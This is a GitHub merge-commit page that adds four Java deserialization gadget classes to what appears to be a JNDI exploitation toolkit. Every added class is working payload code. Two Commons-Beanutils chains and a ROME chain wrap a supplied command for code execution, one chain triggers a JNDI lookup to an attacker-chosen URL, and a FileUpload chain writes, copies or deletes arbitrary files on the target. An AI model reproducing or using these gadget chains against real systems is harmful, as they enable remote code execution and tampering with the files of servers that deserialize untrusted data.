Merge pull request #50 from springkill/master

Add Gadgets
This commit is contained in:
2024-08-02 10:36:53 +08:00
committed by GitHub
4 changed files with 184 additions and 0 deletions
@@ -0,0 +1,41 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.SuClassLoader;
import javassist.ClassClassPath;
import javassist.CtClass;
import java.math.BigInteger;
import java.util.Comparator;
import java.util.PriorityQueue;
import static com.qi4l.jndi.gadgets.Config.Config.POOL;
import static com.qi4l.jndi.gadgets.utils.InjShell.insertField;
import static com.qi4l.jndi.gadgets.utils.Reflections.setFieldValue;
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"})
public class CommonsBeanutils2183NOCC implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// 修改BeanComparator类的serialVersionUID
POOL.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
final CtClass ctBeanComparator = POOL.get("org.apache.commons.beanutils.BeanComparator");
insertField(ctBeanComparator, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;");
final Comparator comparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
setFieldValue(comparator, "property", "lowestSetBit");
PriorityQueue<Object> queue = new PriorityQueue(2, comparator);
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
setFieldValue(comparator, "property", "outputProperties");
Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
}
@@ -0,0 +1,48 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.SuClassLoader;
import com.sun.rowset.JdbcRowSetImpl;
import javassist.ClassClassPath;
import javassist.CtClass;
import java.math.BigInteger;
import java.util.Comparator;
import java.util.PriorityQueue;
import static com.qi4l.jndi.gadgets.Config.Config.POOL;
import static com.qi4l.jndi.gadgets.utils.InjShell.insertField;
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"})
public class CommonsBeanutils3183 implements ObjectPayload<Object>{
@Override
public Object getObject(String command) throws Exception {
String jndiURL = null;
if (command.toLowerCase().startsWith("jndi:")) {
jndiURL = command.substring(5);
}
POOL.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
final CtClass ctBeanComparator = POOL.get("org.apache.commons.beanutils.BeanComparator");
insertField(ctBeanComparator, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;");
final Comparator comparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
Reflections.setFieldValue(comparator, "property", null);
Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER);
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiURL);
rs.setMatchColumn("su18");
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
Reflections.setFieldValue(comparator, "property", "databaseMetaData");
Reflections.setFieldValue(queue, "queue", new Object[]{rs, rs});
ctBeanComparator.defrost();
return queue;
}
}
@@ -0,0 +1,72 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.fileupload.disk.DiskFileItem;
import org.apache.commons.io.output.DeferredFileOutputStream;
import org.apache.commons.io.output.ThresholdingOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.OutputStream;
import java.util.Arrays;
public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem>{
@Override
public DiskFileItem getObject(String command) throws Exception {
String[] parts = command.split(";");
if (parts.length == 3 && "copyAndDelete".equals(parts[0])) {
return copyAndDelete(parts[1], parts[2]);
} else if (parts.length == 3 && "write".equals(parts[0])) {
return write(parts[1], parts[2].getBytes("US-ASCII"));
} else if (parts.length == 3 && "writeB64".equals(parts[0])) {
return write(parts[1], Base64.decodeBase64(parts[2]));
} else if (parts.length == 3 && "writeOld".equals(parts[0])) {
return writePre131(parts[1], parts[2].getBytes("US-ASCII"));
} else if (parts.length == 3 && "writeOldB64".equals(parts[0])) {
return writePre131(parts[1], Base64.decodeBase64(parts[2]));
} else {
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
}
}
public void release(DiskFileItem obj) throws Exception {
// otherwise the finalizer deletes the file
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);
Reflections.setFieldValue(obj, "dfos", dfos);
}
private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws IOException, Exception {
return makePayload(0, copyTo, copyAndDelete, new byte[1]);
}
// writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
private static DiskFileItem write(String dir, byte[] data) throws IOException, Exception {
return makePayload(data.length + 1, dir, dir + "/whatever", data);
}
// writes data to an arbitrary file
private static DiskFileItem writePre131(String file, byte[] data) throws IOException, Exception {
return makePayload(data.length + 1, file + "\0", file, data);
}
private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception {
// if thresh < written length, delete outputFile after copying to repository temp file
// otherwise write the contents to repository temp file
File repository = new File(repoPath);
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);
File outputFile = new File(filePath);
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
os.write(data);
Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
return diskFileItem;
}
}
@@ -0,0 +1,23 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.sun.syndication.feed.impl.ObjectBean;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
@Authors({"Firebasky"})
@Dependencies("rome:rome:1.0")
public class ROME3 implements ObjectPayload<Object>{
@Override
public Object getObject(String command) throws Exception {
Object o = Gadgets.createTemplatesImpl(command);
ObjectBean delegate = new ObjectBean(Templates.class, o);
BadAttributeValueExpException b = new BadAttributeValueExpException("");
Reflections.setFieldValue(b, "val", delegate);
return b;
}
}